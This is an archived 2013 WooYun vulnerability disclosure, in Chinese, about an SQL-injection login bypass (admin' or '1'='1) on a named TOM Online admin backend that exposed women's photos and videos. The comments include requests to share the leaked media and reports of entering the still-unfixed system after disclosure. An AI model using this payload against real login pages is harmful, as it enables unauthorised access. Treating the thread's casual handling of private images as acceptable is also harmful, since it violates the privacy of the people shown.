当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-032430

漏洞标题：TOM在线某后台万能密码进入导致N多妹纸照片加视频流出

相关厂商：TOM在线

漏洞作者： mango

提交时间：2013-07-26 17:50

修复时间：2013-09-09 17:51

公开时间：2013-09-09 17:51

漏洞类型：后台弱口令

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-26： 细节已通知厂商并且等待厂商处理中
2013-07-26： 厂商已经确认，细节仅向厂商公开
2013-08-05： 细节向核心白帽子及相关领域专家公开
2013-08-15： 细节向普通白帽子公开
2013-08-25： 细节向实习白帽子公开
2013-09-09： 细节向公众公开

简要描述：

TOM在线某后台万能密码进入导致N多妹纸照片加视频流出

详细说明：

http://nokia-imaging.tom.com.cn/manage/
用户 admin' or '1'='1
密码admin' or '1'='1

[1H9HP9[A@WV~FYI)N$5YVB.jpg

漏洞证明：

P$A4JK(]QNO~SH7QFWQS1WC.jpg

修复方案：

你懂得

版权声明：转载请注明来源 mango@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2013-07-26 17:58

厂商回复：

多谢mango,我们一尽快处理

最新状态：

暂无

漏洞评价：

评论

  1. 2013-07-26 17:58 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    求打包

  2. 2013-07-26 17:59 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友！)

    @niliu - -太大了

  3. 2013-07-26 18:51 | 有妹子送上 ( 实习白帽子 | Rank:89 漏洞数:28 | 杭州最帅的男人)

    求 视频.zip

  4. 2013-07-26 19:37 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友！)

    @有妹子送上 .avi

  5. 2013-07-26 22:40 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活，亭长放解)

    快发种子

  6. 2013-07-29 12:31 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    尼玛 我刚提交的 - - 一看 你哥mango屌丝已经提交了

  7. 2013-08-06 12:25 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    这个类型是SQL注射吧...

  8. 2013-08-06 13:03 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友！)

    @imlonghao 属于注射、、、

  9. 2013-08-06 13:07 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    @mango 属于射......

  10. 2013-08-25 18:49 | 小峰子0204 ( 路人 | Rank:6 漏洞数:5 )

    求 视频.zip

  11. 2013-08-26 00:48 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

    @TOM在线 无意间进入 发现问题依旧存在啊

  12. 2013-08-26 10:06 | B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)

    @TOM在线 果然还没有修复，我刚也进去看了一下，什么情况，都公开了

  13. 2013-08-26 10:15 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    依然存在

  14. 2013-08-27 09:59 | Melody ( 路人 | Rank:5 漏洞数:3 | 啊)

    妹子。。

  15. 2013-08-28 00:51 | Ivan ( 实习白帽子 | Rank:81 漏洞数:9 | 小菜逼一个)

    这界面……

  16. 2013-09-09 22:44 | IXY ( 路人 | Rank:19 漏洞数:3 | 小菜来学习的)

    9月9 问题依然存在

  17. 2013-09-10 09:46 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    SQL注入啊，可以跑裤子

  18. 2013-09-10 14:20 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @xsser 厂商没修。。。